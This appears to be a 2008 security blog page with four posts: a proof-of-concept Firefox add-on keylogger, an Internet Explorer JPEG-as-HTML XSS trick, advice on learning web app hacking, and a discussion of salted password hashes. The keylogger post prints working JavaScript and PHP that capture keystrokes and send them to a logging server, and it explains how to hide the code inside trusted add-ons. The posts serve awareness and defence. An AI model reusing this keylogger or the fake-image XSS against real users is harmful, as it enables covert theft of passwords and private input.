Wednesday, April 16, 2008

Firefox Addons own ya - Keylogger POC

| Armando Romeo |
This was a project I was meant to carry on last year when I started learning the capabilities of coding in the Gecko environment to create Firefox addons.
I was working to create an addon capable of digitally sign documents easily from the web browser interface using certificates.
For this post I prepared a proof of concept to demonstrate how powerful coding Addons can be, and how malicious code can be embedded in your Firefox without Antivirus or Firewall even notice it.


Now attention here, forget the pic above.
Not anyone is aware of this capabilities and people tend to install any kind of addon/style on Firefox from untrusted ( or unverified ) third parties.
Most of the firefox addons you find on the net is not signed and almost all of them are not validated or checked for malicious code.

My small POC consists of a keylogger written in javascript and embedded into Firefox browser in form of extension. This code can be injected into any known/famous addon without even noticing it since it creates no warnings at Antiviruses (it's just legal javascript) and no warning from Firewalls since the logs of the keystrokes are sent through Firefox on port 80 to a malicious server.



Firewalls allow Firefox on port 80 if you want to browse the internet, so no way to understand what's going on under the hood unless you track all the packets going out of your internet interface.

The POC is an installable extension that once installed it doesn't add anything to the Firefox appearance.

Get it here

It adds an event listener for the event keypress to the document object, buffers the keystrokes and then send them to a server collecting them.

Moreover no warning of an external page loading is showed in the browser status bar, the call is handled through XMLHttpRequest and not using iframes.

To test the proof of concept I created a server side php file that listen for keystrokes and save them on file. The file is log.php in the above zip

3 lines of code as simple as:

$fh=fopen("log.txt","a+");
fwrite($fh,$_GET['c']);
fclose($fh);

This must be put in localhost under folder "hackerscenter" and called log.php. So you will need a local web server in order to test it.

That is http://localhost/hackerscenter/log.php must be found by the extension.

The most important part of the keylogger is this piece of javascript code (the content of the extension):

document.addEventListener("keypress",onkey,false);
var key_str='';

function onkey(e) {

key_str+=String.fromCharCode(e.charCode);

if (key_str.length>50) {

http=new XMLHttpRequest();
http.open("GET","http://localhost/hackerscenter/log.php?c=" + key_str,true);
http.send(null);
key_str='';
}

}

On first line we add an event listener for the keypress event. Everytime a key will be pressed a call to onkey() function will be made and the object event passed.

Through the event object event we retrieve the character pressed with event.charCode.
We buffer the keystrokes until we reach 50 characters and then make a call to our logger through XMLHttpRequest().
Once the buffer is sent it gets flushed. Small, easy and powerful.


There are mainly 2 ways to embed malicious code into Firefox.
One uses the above plain javascript that anyone can read since firefox extension .xpi is just a .zip (if you rename it to .zip you can see the actual content) and the modules are just xml and javascript.
This is the way I followed for this quick POC.

The other option is to have our javascript load a C++ or Java library and have these libraries do the dirty job.

In this case reverse engineering of the library would be required, not always an easy task so this method adds more stealthiness to the code.
There are many examples on the net for loading a C++ dll from javascript in the
Gecko environment.
In the end this is how Firefox is built: styles and the appearance are rendered through xul (powerful but easy xml language for application GUI) and css and more complicated functions are left to external compiled libraries loaded and called by javascript code.

Probably this is not a completely new invention by me, but this should be the demonstration that this is easy to do and that Firefox addons are no-less than executable.

I would add that since external requests are carried through Firefox it is even better(worse) than using an executable for which any application firewall/antivirus would complain about.

Note: to test the above in a development firefox environment without using your everyday browser follow these easy steps:
1. close all firefox windows
2. from shell c:\mozilla dir\firefox.exe -p
3. create a new profile and launch it
4. install and test the POC from within this new firefox profile

To use back your previous default firefox profile, close all windows and repeat step 2 choosing to run firefox using your default profile.


My research goes on as malicious code into Firefox addons can harm web applications, defeat CSRF defenses and play with cookies.
I'm still playing with it, so you now know how I will spend my next saturday night. Enjoy...and don't forget to add your comment if you like our prizes to the best commenter

Exploiting browsers mental diseases

| Armando Romeo |
I was reading an interesting blog post on Billy Rios Blog about new Google XSS found in Google spreadsheet.
In the specific, that XSS is in my opinion to blame more to Internet Explorer, the only vulnerable browser to this XSS, than to Google itself.

The javascript injection is caused by Internet Explorer rendering text/plain as active content that is HTML.
Indeed Billy just created a link to the spreadheet in CSV format.
The spreadsheet contains a javascript snippet code as content of the first cell that is then interpreted as HTML code by guilty Internet Explorer.

The problem could have been avoided if google explicitly set the Content-disposition to "attachment" forcing browsers to give the file for download and not for inline show.

The most interesting part is not the exploit in itself but the way it is achieved.
Internet explorer as well as other browsers do not take much into consideration security while deciding how to render documents based on the content type being sent by the server.

Internet Explorer is demonstrated to render 696 over 735 content types as HTML. This means that if we are able to input data into a web application that uses one of those content types we may end up with a XSS
working under IE because will render it as active content (read HTML).

As in the Rios's exploit, web application must have Content-disposition set to inline to be vulnerable (this is the default option).

Now I will need your attention. From the (great) Leviathan Security paper scroll down the list of MIME types being NOT interpreted as active content by IE.
Do you see image/jpeg ?? Nope!
And here comes what me and Doz were discussing about some time ago in the past.

Internet explorer 7 interprets jpeg images as inline (of course) but what is worse it reads its content and outputs it as if it were HTML!

Click here for a proof of concept

This is not new, but probably not much exploited since Microsoft
suffers from this issue since version 6.
Firefox doesn't suffer from such schizophrenia.

This kind of (logical) flaw can be used into all those web application that don't use GD or any other graphical library to check for image validity.
I'm talking about those that check only the extension.

I'm talking about using your fake image as the avatar of a forum thus rendering javascript on its pages.

I'm not sure if it is possible to both show the pic and trick IE to render the html at the same time, I'm not much into jpeg or image handling to carry this research on but this could be super-dangerous as noone would investigate
the broken image icon due to the fake image with JS code into it.

In the end, I agree with Billy, web developers should understand more about browsers behaviours and use HTTP headers accordingly if they want to keep their web app secure.

Writing a good secure code is not enough to produce a secure web application if you feed browsers with psychological disorder

Thursday, April 10, 2008

I want to be a web app hacker

| Armando Romeo |

Oh well, countless times I've heard people consider themselves hackers just because they got an SQL error after giving a quote character " ' " instead of a numeric value in a web application parameter.
How they would browse the database content is still mysterious...to them.

Web application security has been my first love. I had done some nice researches on it too and spent hours and hours playing with http protocols and server side scripting. And these are the initial (annoying-not-to-me) steps that everyone interested to enter this field should take.

But this quick post, is not about how to become a hacker but how nice it can be if you just learn by practice using some nice tools freely available: BurpSuite or Webscarab to name the best learn-while-hacking tools.

Both are well known to experts in the field as they are good companions while pen-testing a web app in black-box "style".

And both are not those kind of tools that do the task in one click but they assume a basic knowledge of the protocols and the actors' roles in the scene (client and web server). So they are great while in learning-mode and great even when you get pro.

So the best (humble) advice I could give to anyone willing to enter this field is to install some open source web application and try to attack it in "black-box" mode using the above tools to intercept request and manipulate them.

Once you have found something looking like a vulnerability then browse through the code and understand where and why the vulnerability is there.

Next step would be to understand the state-of-the-art coutermeasures/mitigating factors and iterate again to find circumventions of such countermeasures.

I find this the best way to understand what's going on under the hood and also the best way to write secure code when you are on a web application coding task.

Wednesday, April 2, 2008

Salt hashed passwords for deep thinkers

| Armando Romeo |
While auditing Joomla source code, I have had the opportunity to make some thinkings on structural security improvements that can be achieved at design-time of a web application, that is when developers usually lay down OOP diagrams. (Is there anyone who still does this in the web app dev field anyway?).

I will start from the concept of salts used in passwords hashes stored into the databases of CMS, forums and every kind of web application that requires some sort of user authentication.


First of all salts are used to give randomness to the password hashes.
The primary reason why they are used is to defeat the larger and larger rainbow tables available on the net.


Some of them seem to arrive up to 14 chars and many of them
are freely available online or even downloadable from torrent.
All the possible combinations of say x alpha-numeric chars are created and hashed. Pairs of plain-hash are inserted into a database (table) that is then indexed through the hash value.
People inserts their stolen hash value and get the plaintext in matter of seconds.
Pretty nice eh?

The x above is the number of characters the rainbow table is able to cover.
As salt, a random value should be used for each user whose password hash has to be computed.

This at least is what common sense tells and what Joomla and other CMS do. Salts in Joomla are same size of hash that is 16bytes, long enough to defeat rainbow tables and any other precomputation/dictionary attack.
So where is the problem?

The way hashes salts are stored into database makes them useful *only* against rainbow tables attacks while a wiser choice at design time could have made password hashes safe against old-fashioned attacks: a hacker manages to get password hash through an sql injection and cracks it locally with some brute forcer. (0phrack can crack the password "Fgpyyih804423" in 160 seconds.)

But here comes the best part. How are salts stored into Joomla database? Answer is: in the same field of the password, divided bye a colon.
To be more clear: salt:pass_hash

At first I thought that placing the salt in the same field of the password introduced some kind of flaw. But in the end I realized that a hacker able to read the password field is probably able to read the whole database. So storing the hash in another field or table

is just useless and doesn't add any real protection. What I can't understand though, is why we have to rely on salts stored into db.
A hacker would just steal the pair salt:pass_hash and then fire up his own favourite md5/sha1 cracker and prepend the salt to the plaintext trials.

Yes salts defeat rainbows. But the way they are implemented doesn't add any further security feature against our old and always handy brute forcers.
If we then consider that passwords chosen by users are usually shorter than 6-7 characters, then you got the picture.

My proposal would be to build the salt so that it is taken *also* (and not only) from a string not readable by hacker. This can be a secret created at the installation of the web application and hardcoded into a configuration file for example. (not world readable of course)

Objection here would be: a hacker finds an sql injection, so he's capable to read database. He registers a new account on site and then reads his own
plaintext(the pass he chose)-hash(salt+pass he chose) pair.

Brute forcing the salt while keeping his password fixed would disclose the salt.
But if this fixed salt is long enough it will be hard to be found through brute force.
With this approach the hacker who has retrieved the password hash, won't be able to use the rainbow table and won't be able to crack it in a reasonable time
using a tool on any available hardware nowadays.
So we achieve both our goals with little change.

If fixed salts for all users may seem too bad for someone, they can be used along with random (per-user) salts stored in db to make up a new salt.
This can be a good tradeoff, a simple way to add more security to passwords that would require few lines of code changes.

However, I hardly believe it will be implemented into already existent web applications since they would break the way how user authentication (login and register) is carried on.
But if you're designing your new web app, why not taking the ideas above into consideration?

Free Security Magazines